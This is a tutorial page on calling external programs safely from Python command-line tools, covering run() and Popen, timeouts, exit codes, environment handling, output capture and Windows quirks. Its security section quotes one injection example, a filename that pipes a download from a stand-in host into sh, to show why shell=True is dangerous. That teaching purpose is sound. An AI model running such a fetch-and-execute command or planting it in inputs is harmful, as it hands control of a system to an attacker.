Running Subprocesses from Python CLIs

Sooner or later every internal tool shells out. A deploy command calls rsync, a release command calls git, a build helper runs npm or docker. The subprocess module makes the first version of that easy to write and surprisingly easy to get wrong: output that arrives all at once after a two-minute silence, a child that keeps running after your tool has given up on it, a traceback where a one-line error should be, or a filename that turns into a second command. This topic covers running other programs from a Python CLI deliberately — as a boundary with its own inputs, outputs and failure modes, the same way you treat user input or an HTTP API.

It sits in the CLI Runtime & Systems Integration section, next to filesystem work and concurrency, because those three tend to show up together: a command that builds something, writes the result somewhere, and does several things at once.

TL;DR

• Pass an argument list, never a string: subprocess.run(["git", "log", "-n", "5"]). Only use shell=True for fixed strings you wrote yourself.
• Always decide on check, capture_output, text/encoding and timeout explicitly. Implicit defaults are how a CLI silently ignores a failed child.
• Use run() for short commands; drop to Popen when you need output as it happens.
• Translate child failures into your error model: a clear message on stderr and a meaningful exit code, not a CalledProcessError traceback.
• Put every call to a given program behind one function. It is the seam your tests replace and the one place you fix encoding, cwd and environment handling.

run() first, Popen when you must

subprocess.run() is the high-level API: it starts the program, waits for it, optionally captures its output, and hands you a CompletedProcess. For the majority of CLI use — ask git for the current branch, run a formatter, call a compiler — it is the right tool, and it cleans up after itself even when an exception is raised.

subprocess.Popen is the lower layer that run() is built on. It starts the process and returns immediately, which means you are responsible for reading its pipes, waiting on it, and killing it if something goes wrong. You need that control in two situations: when the output must reach the user while the child is still running (a build log, a test run), and when your tool has to interact with the child — write to its stdin in pieces, or supervise several children at once.

A useful rule: if you catch yourself calling run() and then wishing the user could see progress, that is the moment to switch — see streaming subprocess output in real time. Until then, run() keeps the code shorter and the failure modes fewer.

Here is the shape almost every call in a CLI should take:

import subprocess


def git(*args: str, cwd: str | None = None) -> str:
    """Run git and return stdout; raise CalledProcessError on failure."""
    result = subprocess.run(
        ["git", *args],
        cwd=cwd,
        check=True,
        capture_output=True,
        text=True,
        encoding="utf-8",
        timeout=60,
    )
    return result.stdout.strip()


print(git("rev-parse", "--abbrev-ref", "HEAD"))

Every keyword there is a decision. check=True turns a non-zero exit into an exception instead of a return code you might forget to read. capture_output=True keeps the child's output out of your user's terminal until you decide what to do with it. text=True with an explicit encoding gives you str decoded the same way on every machine rather than whatever the locale happens to be — a real problem on Windows, covered in fixing Unicode and encoding errors on Windows. And timeout makes sure a hung child cannot hang your tool forever.

What happens between spawn and exit

It helps to hold a picture of the process lifecycle, because most subprocess bugs are one step of it being skipped. Your CLI asks the operating system to start a program with an argument vector. The child runs, writing bytes to whichever file descriptors it was given. Eventually it exits with a status, and the operating system keeps a small record of that status until the parent collects it — "reaping" the child. A child that has exited but not been reaped is a zombie; one whose parent has died is an orphan, adopted by the init process.

run() performs every one of those steps for you. With Popen, the with statement does the waiting on exit, which is why you should always use it:

import subprocess

with subprocess.Popen(
    ["pytest", "-q"],
    stdout=subprocess.PIPE,
    stderr=subprocess.STDOUT,
    text=True,
    encoding="utf-8",
) as proc:
    for line in proc.stdout:
        print(f"[tests] {line}", end="")

print("exit status:", proc.returncode)

On POSIX, returncode is negative when the child was killed by a signal: -15 for SIGTERM, -9 for SIGKILL. Shells report the same event as 128 + signal, so a script calling your tool expects 143 or 137. Mapping between the two is part of translating a child's result into yours, and it is the subject of handling subprocess timeouts and exit codes.

Errors belong to your CLI, not to the child

When a child fails, the user did not ask to run rsync — they asked to run your command. The error they see should be about what they asked for, with enough of the child's output to diagnose it, and your tool should exit with a code that scripts can rely on. Three distinct failures need three distinct responses:

import shutil
import subprocess
import sys

import typer

app = typer.Typer()


def run_tool(argv: list[str], timeout: float = 120) -> str:
    if shutil.which(argv[0]) is None:
        typer.echo(f"error: {argv[0]!r} is not installed or not on PATH", err=True)
        raise typer.Exit(127)
    try:
        proc = subprocess.run(
            argv, check=True, capture_output=True, text=True, encoding="utf-8", timeout=timeout
        )
    except subprocess.TimeoutExpired:
        typer.echo(f"error: {argv[0]} did not finish within {timeout:.0f}s", err=True)
        raise typer.Exit(124)
    except subprocess.CalledProcessError as exc:
        tail = "\n".join(exc.stderr.strip().splitlines()[-10:])
        typer.echo(f"error: {argv[0]} failed with exit code {exc.returncode}", err=True)
        if tail:
            typer.echo(tail, err=True)
        raise typer.Exit(1)
    return proc.stdout


@app.command()
def sync(src: str, dest: str) -> None:
    """Mirror SRC to DEST with rsync."""
    run_tool(["rsync", "-a", "--delete", "--", src, dest])
    typer.echo(f"synced {src} -> {dest}")


if __name__ == "__main__":
    app()

Three details carry most of the value. Checking shutil.which() before doing any work means a missing dependency is reported instantly and nothing is left half-done. Showing only the tail of the child's stderr keeps the message readable — most tools put the actual error at the end. And exit codes 124 and 127 match what timeout(1) and shells use, so anyone wrapping your tool already knows what they mean. The broader case for this style of error output is made in friendly error messages and tracebacks.

Environment, working directory and stdin

A child inherits more than its arguments. By default it gets your process's environment variables, current working directory, and open standard streams. Each of those is a source of surprising behaviour.

Environment. Passing env= replaces the environment wholesale — including PATH, HOME and, on Windows, SYSTEMROOT, without which many programs fail in odd ways. When you want to add or override a variable, copy first:

import os
import subprocess

env = {**os.environ, "GIT_TERMINAL_PROMPT": "0", "LC_ALL": "C.UTF-8"}
subprocess.run(["git", "fetch"], env=env, check=True)

GIT_TERMINAL_PROMPT=0 is a good example of the general principle: a child that might prompt for credentials should be told not to when your tool is running unattended, or it will sit waiting for input nobody will type. Setting a fixed locale makes output formats and sort orders predictable enough to parse.

Working directory. Use cwd= rather than os.chdir(). Changing your own process's directory is global state; it affects every relative path afterwards, including in threads, and it is easy to forget to change back.

Standard input. A child inherits your stdin. If your tool is itself reading from a pipe, the child can consume data you meant to read. Pass stdin=subprocess.DEVNULL for children that should never read input — which is most of them — and see reading piped input in Python CLIs for the parent side of that story.

Security: arguments, not strings

The single most important rule in this topic is also the shortest: do not build command strings from data. With shell=True, Python hands your string to /bin/sh (or cmd.exe), which interprets semicolons, pipes, backticks, $(...), globs and redirections. A filename like report; curl evil.example | sh becomes two commands. With an argument list, the program is executed directly and every element arrives as exactly one argument, whatever characters it contains.

Argument lists close the shell hole, but not every hole: a value beginning with - can still be read as an option by the program you call. Put -- before positional data where the program supports it. The full treatment, including the rare cases where you genuinely need a shell, is in avoiding shell injection in Python CLIs.

Wrapping a tool you call a lot

If your CLI calls the same program in many places — git is the classic example — stop scattering subprocess.run calls through your commands. Write a small module of typed functions (current_branch() -> str, changed_files(since: str) -> list[Path]) on top of a single runner. That module is where encoding, working directory and error translation live, and it becomes the one seam your tests replace. Wrapping git and other tools from a Python CLI builds that module step by step, including why you should parse --porcelain output rather than the human-readable kind.

Testing follows from the same seam. Most tests should replace the runner function and assert on the argument list it received — fast, deterministic and portable. A handful of tests should run the real program inside a temporary directory to prove the parsing matches reality; mark those so they can be skipped where the program is not installed. The general techniques are in mocking filesystem and network in CLI tests.

Capture, inherit or discard the output

Every call has to answer one question about each of the child's output streams: does it go to the user, to your code, or nowhere? The three answers map onto three settings, and picking the wrong one produces the most common complaints about CLIs that shell out.

• Inherit (the default: stdout=None). The child writes straight to your user's terminal. That is right when the child's output is the product — running the user's test suite, opening an editor with $EDITOR, launching an interactive program. Colour and progress bars keep working, because the child sees a real terminal.
• Capture (capture_output=True, or stdout=subprocess.PIPE). Your code receives the bytes. Right whenever you parse the result, or when you want to decide what the user sees — for example showing nothing on success and the stderr tail on failure.
• Discard (stdout=subprocess.DEVNULL). Right for noisy helpers whose exit code is all you need, such as git diff --quiet.

A pattern that serves users well combines the last two: run quietly, and show the child's output only when something went wrong or when the user asked for --verbose. It keeps the happy path to one line per step, while a failure still carries everything needed to debug it. The verbosity plumbing for that lives in adding verbose and quiet logging flags.

import subprocess

import typer


def step(label: str, argv: list[str], verbose: bool) -> None:
    typer.echo(f"• {label}", err=True)
    proc = subprocess.run(
        argv,
        stdout=None if verbose else subprocess.PIPE,
        stderr=subprocess.STDOUT,
        stdin=subprocess.DEVNULL,
        text=True,
        encoding="utf-8",
    )
    if proc.returncode != 0:
        if not verbose and proc.stdout:
            typer.echo(proc.stdout.rstrip(), err=True)
        typer.echo(f"error: {label} failed (exit {proc.returncode})", err=True)
        raise typer.Exit(1)

Note what the captured output does not do here: it never goes to your own stdout. Your stdout belongs to your command's results, and a child's chatter mixed into it breaks anyone piping your tool into jq — the rule set out in emitting JSON output for scripting.

Cross-platform differences worth knowing

Most subprocess code written on Linux runs unchanged on macOS. Windows is where the differences surface, and a CLI with Windows users should expect them:

• Executable lookup. Windows resolves git to git.exe via PATHEXT, but a script such as npm is really npm.cmd, which CreateProcess cannot run without a shell. shutil.which("npm") returns the full .cmd path; pass that path as argv[0] and it works without shell=True.
• Signals. There is no SIGTERM to send to another process. proc.terminate() calls TerminateProcess, which is abrupt, and CTRL_BREAK_EVENT only reaches children started with CREATE_NEW_PROCESS_GROUP.
• Encoding. Console programs may emit the OEM code page rather than UTF-8. Setting encoding="utf-8" plus errors="replace" on output you only display avoids crashes on a stray byte.
• Quoting. Windows passes a single command-line string to the child, which parses it itself. Python's list-to-string conversion follows the Microsoft C runtime rules, which is right for most programs and wrong for cmd.exe built-ins.

None of these argue for shell=True; they argue for resolving executables explicitly and testing on a Windows runner in CI, which testing a CLI across Python versions with GitHub Actions sets up alongside the version matrix.

Key takeaways

• Treat every external program as a boundary with inputs, outputs, failure modes and a timeout.
• Argument lists by default; shell=True only for constant strings; -- before untrusted positionals.
• Decide check, capture_output, text/encoding, timeout, env, cwd and stdin on purpose.
• run() for short calls, Popen in a with block for live output or supervision.
• Translate failures into your own messages and exit codes (124 for timeouts, 127 for missing programs).
• Funnel all calls to one program through one runner so tests have a single thing to replace.

Frequently asked questions

Related

• Up: CLI Runtime & Systems Integration
• Down: Calling external commands safely with subprocess
• Down: Streaming subprocess output in real time
• Down: Handling subprocess timeouts and exit codes
• Down: Wrapping git and other tools from a Python CLI
• Down: Avoiding shell injection in Python CLIs
• Sideways: Filesystem paths and atomic writes
• Sideways: Error handling and exit codes